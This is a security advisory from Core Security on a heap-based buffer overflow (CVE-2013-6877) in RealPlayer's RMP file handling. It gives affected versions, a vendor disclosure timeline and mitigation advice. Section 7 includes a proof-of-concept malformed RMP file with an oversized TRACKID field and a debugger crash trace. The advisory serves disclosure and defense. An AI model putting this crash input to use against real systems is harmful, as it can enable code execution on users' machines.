RealPlayer Heap-Based Buffer Overflow Vulnerability

Advisory ID Internal
CORE-2013-0903

1. Advisory Information

Title: RealPlayer Heap-based Buffer Overflow Vulnerability
Advisory ID: CORE-2013-0903
Advisory URL: https://www.coresecurity.com/core-labs/advisories/realplayer-heap-based-buffer-overflow-vulnerability
Date published: 2013-12-17
Date of last update: 2013-12-19
Vendors contacted: RealPlayer Team
Release mode: User release

2. Vulnerability Information

Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-6877

3. Vulnerability Description

RealPlayer [1], [2] is prone to a security vulnerability when processing RMP files. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine, by enticing RealPlayer users to open a specially crafted RMP file (client-side attack).

4. Vulnerable Packages

  • RealPlayer v16.0.2.32.
  • RealPlayer v16.0.3.51.
  • Other versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

Vendor notifies that a new version of RealPlayer will be probably available near Dec 20th, 2013 (see [Sec. 8]). The new version will not support RMP files and thus the issue will be fixed. As mitigation action, given that this is a client-side vulnerability, avoid to open untrusted RMP files. Contact vendor for further information.

6. Credits

This vulnerability was discovered and researched by Ricardo Narvaja from Core Exploit Writers Team. This report was coordinated by Fernando Miranda from Core Advisories Team.

7. Technical Description / Proof of Concept Code

<!-- # # Description: RealPlayer v16.0.3.51 Proof of Concept (poc.rmp) # Author: Ricardo Narvaja (CORE Security Exploit Writers Team) # CORE ID: CORE-2013-0903 # CVE ID: CVE-2013-6877 # # The contents of this software are copyright (c) 2013 CORE Security and (c) 2013 CoreLabs, # and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) # License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">http://creativecommons.org/licenses/by-nc-sa/3.0/us/</a> # # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF # THIS SOFTWARE. # --> <?xml version="1.0"?> <PACKAGE> <TITLE>resto</TITLE> <ACTION>import,replace</ACTION> <SERVER> <LOCATION>%fid</LOCATION> </SERVER> <TARGET>resto</TARGET> <TRACKLIST> <LISTID>1</LISTID> <TRACK> <TRACKID>1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/TRACKID> <TITLE>The French Experience</TITLE> <ARTIST>BBC Languages</ARTIST> <ALBUM></ALBUM> <CHANNELS>0</CHANNELS> <DURATION>80480</DURATION> <FORMAT></FORMAT> <GENRE></GENRE> <QUALITY>29000</QUALITY> <SIZE>0</SIZE> <FILENAME>http: //aaaaaaaaaaaaaaaaaa</FILENAME> </TRACK> </TRACKLIST> </PACKAGE>

Below is shown the result of opening the maliciously crafted file poc.rmp on Windows XP SP3:

63A530B6 8B08 MOV ECX,DWORD PTR DS:[EAX] 63A530B8 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] <----crash in rpcontrols.dll 63A530BB 50 PUSH EAX 63A530BC FFD2 CALL EDX EAX 01122BB8 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ECX 61616161 EDX 0267F278 EBX 00000000 ESP 0012F5CC EBP 0012F5D0 ESI 0012F5F4 EDI 00DD8AD8 EIP 63A530B8 rpcontro.63A530B8

8. Report Timeline

  • 2013-09-03: Core Security Technologies attempts to contact vendor. No reply received. Publication date is set for Sep 25st, 2013.
  • 2013-09-11: Core attempts to contact vendor.
  • 2013-09-11: Vendor acknowledges Core's e-mail, and asks for a technical description of the vulnerability.
  • 2013-09-12: Technical details sent to the vendor.
  • 2013-09-16: Core asks for a status update.
  • 2013-09-16: Vendor notifies that the vulnerability verification process has not finished yet and asks for delaying the advisory announcement. Vendor also claims that they have a six-month window to address vulnerabilities and the current release date has not been set.
  • 2013-09-23: Core re-schedules the advisory publication for Oct 15th and asks for a clear timeline regarding the patching process.
  • 2013-09-24: Vendor notifies that the normal procedure involves internal verification of the issue (usually within two weeks of reporting). Once verified, it is added to the queue for the next available release. Vendor also states that they could not reproduce the issue and asks for additional technical information.
  • 2013-09-25: First release date missed.
  • 2013-10-02: Core confirms that the issue is exploitable and sends additional technical information and a new PoC.
  • 2013-10-04: Vendor notifies that they still cannot duplicate the issue, even with the new PoC.
  • 2013-10-08: Core sends a demo (video) showing the exploitation in a fresh XP machine and additional technical information.
  • 2013-10-14: Vendor asks for delaying the advisory release.
  • 2013-10-15: Second release date missed.
  • 2013-10-15: Core asks for a tentative release date.
  • 2013-10-16: Vendor notifies that they have just been able to duplicate the issue and they can probably release a fix for the end of November.
  • 2013-10-16: Core re-schedules the advisory publication for Nov 27th and notifies that this date should be considered final.
  • 2013-11-11: Core asks for a status update.
  • 2013-11-22: Vendor notifies that the fix will be released December 16th.
  • 2013-11-26: Core re-schedules the advisory publication for Dec 16th.
  • 2013-11-27: Third release date missed.
  • 2013-12-06: Vendor notifies that they have found an issue that must be fixed and the date for announcing will be Dec 20th.
  • 2013-12-09: Core notifies that releasing security advisories on Fridays generates unnecessary workload to IT teams worldwide considering the different timezones and rejects Dec 20th as release date.
  • 2013-12-09: Vendor notifies that the new version of RealPlayer will not support RMP files and thus the issue will be fixed.
  • 2013-12-16: Fourth release date missed.
  • 2013-12-17: Advisory CORE-2013-0903 published as 'user release'.

9. References

[1] http://www.real.com.
[2] http://www.real.com/realplayer.

10. About CoreLabs

CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

11. About Core Security, A Fortra Company

Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].

12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.